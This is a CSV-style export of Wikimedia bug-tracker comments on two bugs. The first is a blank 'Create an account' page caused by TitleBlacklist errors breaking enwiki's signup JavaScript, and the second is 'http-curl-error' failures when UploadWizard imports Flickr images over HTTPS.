+199307,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Fix merged to enwiki, seems to work now.  (Though https://en.wikipedia.org/wiki/Special:Version still shows old extension version.)",,,1355520508,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+199301,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Sorry, I mean Gerrit change 38494",,,1355384537,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+199293,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Thanks so much for tracking this down!  The JavaScript on enwiki that enhances account creation munges the first table it finds in the content div. Extension:Title Blacklist doesn't use  a table for its errors so our testing of this worked fine.  But on enwiki someone tweaked MediaWiki:Titleblacklist-forbidden-new-account message to use an {{fmbox}} which puts it in a table.  So the first table is not the login form, result: JS errors and garbled HTML.
+
+Things to do:
+1.  Avoid this specific JS error that halts the munging leaving the form invisible.
+2.  Be smarter about finding the right table to modify.
+3.  Don't hide so much of the page during munging so if JS fails the user sees something.
+4.  Even if errors munging, always show the hidden part.
+
+gerrit change 42982 does 1-3.  4 is dubious, since partly successful jQuery-fu may be worse than failing.",,,1355384467,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+199287,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:
+
+Yes, when I try it with JS off (which gives you the old form), the TitleBlacklist prevents creation. I get the same blank error in the new version when trying any other name prevented by MediaWiki:Titleblacklist. 
+
+We were aware that clientside validation in its current form doesn't play well with Extension:AntiSpoof and the TitleBlacklist, and might in a few cases incorrectly confirm as good a name which the server rejects. However, we need to make sure the server-generated error is correctly displayed to users, instead of this blank error. 
+
+Thanks again for the help MZ and Platonides.",,,1355347028,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+199282,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","I suspect the ""Joining Wikipedia is free"" has been blocked by TitleBlacklist.",,,1355346516,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+199276,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:
+
+Was able to reproduce with the same username (""Joining Wikipedia is free""), but using the same browser I was able to create User:WMFTest123456. Screenshot attached with console output.",,,1355346403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+199272,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:
+
+Screenshot in Firefox 16
+
+**Attached**: {F10068}",,,1355346323,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+199269,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:
+
+@MZMcBride
+
+Thanks for reporting. I'm going to try and reproduce it. In the meantime, just to confirm, you have JavaScript and cookies enabled in this browser? If you see this again, it would be a big help to check your browser console and report any errors you see.",,,1355345873,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+199266,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Created attachment 11492
+After login submission
+
+**Attached**: {F10066}",,,1355291393,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+199263,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Created attachment 11491
+Before login submission
+
+**Attached**: {F10065}",,,1355291339,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44468,"""http-curl-error"" when uploading from Flickr from https","**Author:** `sumanah`
+
+**Description:**
+At https://test.wikipedia.org/wiki/Special:UploadWizard and https://test2.wikipedia.org/wiki/Special:UploadWizard I tried to add images from Flickr using the ""Add images from Flickr"" button.
+
+I tried the following URLs to photos:
+
+https://secure.flickr.com/photos/library_of_congress/8211550552/
+
+http://www.flickr.com/photos/quimgil/8220094378/in/photostream
+
+https://secure.flickr.com/photos/quimgil/8220094378/in/photostream
+
+In all cases, at the next step (Uploading...), the file seemed to fail to download, but the title got captured, e.g.:
+
+  Parliament of Catalonia - Elections.jpg
+  Unknown error: ""http-curl-error"".
+
+Kaldari thinks it sounds like a problem with the proxy.
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42441",High,80.0,1353978480,1381880221.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_description,resolved,True,c2,1,False,False,True,-40,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+195098,"""http-curl-error"" when uploading from Flickr from https","I was also able to import multiple files to test2 using https://secure.flickr.com source URLs as long as HTTPS Everywere is not running. I'm going to reopen the bug more specifically about that issue and close this one.
+
+The SSL root certificates currently used in the cluster are fine with Flickr's certificate.",,,1381880221,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+195092,"""http-curl-error"" when uploading from Flickr from https","I was able to import https://secure.flickr.com/photos/fabola/9743350532/ as https://test.wikipedia.org/wiki/File:Fabola-9743350532.jpg with no issues using Chrome 30.0.1599.69 on OS X. I did however need to switch to a profile that does not have the HTTPS Everywhere extension installed.
+
+With HTTPS Everywhere installed/enabled I get an error in the local browser when an XHR request is made for https://api.flickr.com/services/rest/?&nojsoncallback=1&method=flickr.photos.licenses.getInfo&api_key=e9d8174a79c782745289969a45d350e8&format=json. This error seems to stop the entire Upload Wizard process.",,,1381875011,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+195085,"""http-curl-error"" when uploading from Flickr from https",*** Bug 54468 has been marked as a duplicate of this bug. ***,,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+195080,"""http-curl-error"" when uploading from Flickr from https","So apparently my file did get uploaded: https://commons.wikimedia.org/wiki/File:Stormy_sky,_Danarau_Marina,_Fiji.jpg. Commons has both meta data and image content. This upload was done with the toolslab.org tool and not upload wizard however.
+
+I tried to follow Sumana's original issue instructions and can't even get as far as she did. The initial javascript ajax call to https://api.flickr.com/services/rest/ seems to timeout in my browser. If I manually visit the api.flickr url it redirects to secure.flickr and returns a seemingly valid json blob.",,,1379461890,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+195074,"""http-curl-error"" when uploading from Flickr from https","I didn't capture any specific error messages, but this seems to still fail. See https://commons.wikimedia.org/wiki/File:Stormy_sky,_Danarau_Marina,_Fiji for my attempt that did get meta data from flickr but no image.",,,1377636428,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,2,True,,,-1,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+195069,"""http-curl-error"" when uploading from Flickr from https",Note to self: see if this got magically fixed or not. May need some ops love if not.,,,1377210484,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,2,True,,,-1,True,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+195063,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #21)
+> I don't think so, the problem is that curl is failing to verify the host.
+> Maybe UW uses https flickr links to upload via the Upload Api, thus you are
+> not
+> on https but still see the error.
+
+Ahem, my bad: I probably pasted an https flickr URL in UW, as I copied it from Firefox.",,,1360247287,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+195058,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #20)
+> Argh, is this bug 42441 striking again? Is $sslVerifyHost overridden
+> somewhere
+> else or what?
+> Last time I got this error, I wasn't even on https...
+
+I don't think so, the problem is that curl is failing to verify the host.
+Maybe UW uses https flickr links to upload via the Upload Api, thus you are not on https but still see the error.
+
+Also we should show better error messages, currently we are showing the error code but we should show the info associated with it.
+We might also want to catch errors from bad internet connectivity.I found two more possible errors (see below) with same code, here displaying the info on UW would be more helpful.
+
+{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""couldn't connect to host""}}
+
+{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""Could not resolve host: secure.flickr.com; Host not found""}}
+
+
+I have made a change for the error message https://gerrit.wikimedia.org/r/#/c/47868/",,,1360246636,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+195054,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #19)
+> {""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote
+> source"",""0"":""SSL certificate problem, verify that the CA cert is OK.
+> Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate
+> verify failed""}}
+
+Argh, is this bug 42441 striking again? Is $sslVerifyHost overridden somewhere else or what?
+Last time I got this error, I wasn't even on https...",,,1360243957,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+195050,"""http-curl-error"" when uploading from Flickr from https","I tried to upload directly by using the Upload Api and got the same error but in more detail.
+
+{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed""}}
+
+Shouldn't this be moved to core?",,,1360235385,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0
+195044,"""http-curl-error"" when uploading from Flickr from https","Able to reproduce today. Some debugging info I could gather from mw.IframeTransport :
+
+
+The response of the Api request made by the Iframe is
+
+error: Object-?
+0: ""Operation timed out after 25007 milliseconds with 431627 out of 1937071 bytes received""
+code: ""http-curl-error""
+info: ""Error fetching file from remote source""
+
+
+Apparently ui.showError doesn't identify this code and outputs the default message it should.",,,1360233054,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0
+195038,"""http-curl-error"" when uploading from Flickr from https","Removing HE from summary: it never happened to me when using FF lately, but it happened just now with a ""clean"" Chromium.",,,1360171381,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+195030,"""http-curl-error"" when uploading from Flickr from https","I'm using Firefox with HE on fedora 17. Sometimes a file out of a dozen fails and I've encountered a couple other bugs, but no http-curl-error anywhere.",,,1357140746,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+195021,"""http-curl-error"" when uploading from Flickr from https","In the meantime, we should at least detect for the 'http-curl-error' and return a better error message. Something like ""Error: Could not retrieve file from remote host. You may need to turn off the HTTPS Everywhere browser extension.""",,,1355263419,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,1,0
+195014,"""http-curl-error"" when uploading from Flickr from https","How hard would it be to do 1?
+Doesn't the proxy accept connect? curl should be able to make a tls request on its own.",,,1355262111,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+195006,"""http-curl-error"" when uploading from Flickr from https","Looks like this error is caused by the 'HTTPS everywhere' Firefox add-on. There are two ways this could be fixed:
+1. Add HTTPS support to the WMF proxy server that pulls the images from Flickr
+2. Change UploadWizard to use Flickr's secure API and add a hack to UploadWizard that rewrites all the secure image URLs returned from the API into non-secure URLs.",,,1355261724,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1
+194999,"""http-curl-error"" when uploading from Flickr from https",I cannot reproduce this bug using the steps from comment #1. Are you still seeing it using those exact steps?,,,1355175743,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+194993,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:
+
+Still happening on test.wikipedia.org.  Marking as blocking deployment (to Commons) since https://gerrit.wikimedia.org/r/#/c/37353/1/wmf-config/InitialiseSettings.php has been merged and thus this feature would go live to Commons on Wednesday.",,,1355029697,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+194987,"""http-curl-error"" when uploading from Flickr from https","On my local wiki I still get the same error on the master branch. My config file has 
+	'flickrApiUrl' => 'http://api.flickr.com/services/rest/?',
+
+Not sure if this should open this bug, please test.",,,1354130251,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1
+194980,"""http-curl-error"" when uploading from Flickr from https","Fixed, deployed, and verified on test.wiki.",,,1354062240,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+194973,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:
+
+Sorry for misunderstanding.  Removing deployment blocker bug.",,,1354060038,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+194966,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #6)
+> Ryan, can you re-deploy your fix?  This is a blocker for tomorrow's 1.21wmf5
+> deployment to Commons.  Thanks!
+
+Not really, the feature isn't enabled on Commons
+
+'wgAllowCopyUploads' => array(
+	'default' => false,
+	'testwiki' => true,
+	'test2wiki' => true,
+//	'commonswiki' => true, // disabled until flickr interface is ready --kaldari
+),",,,1354058784,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+194961,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:
+
+Ryan, can you re-deploy your fix?  This is a blocker for tomorrow's 1.21wmf5 deployment to Commons.  Thanks!",,,1354056809,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+194957,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:
+
+Error is still reproducible on test2, which is predictable because the fix needs to be backported to the branch that's deployed right now (1.21wmf5).",,,1354056657,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+194951,"""http-curl-error"" when uploading from Flickr from https","Change https://gerrit.wikimedia.org/r/#/c/35339/ from comment #2 has been reverted because it got merged but has not been deployed.  The revert is https://gerrit.wikimedia.org/r/#/c/35359/
+
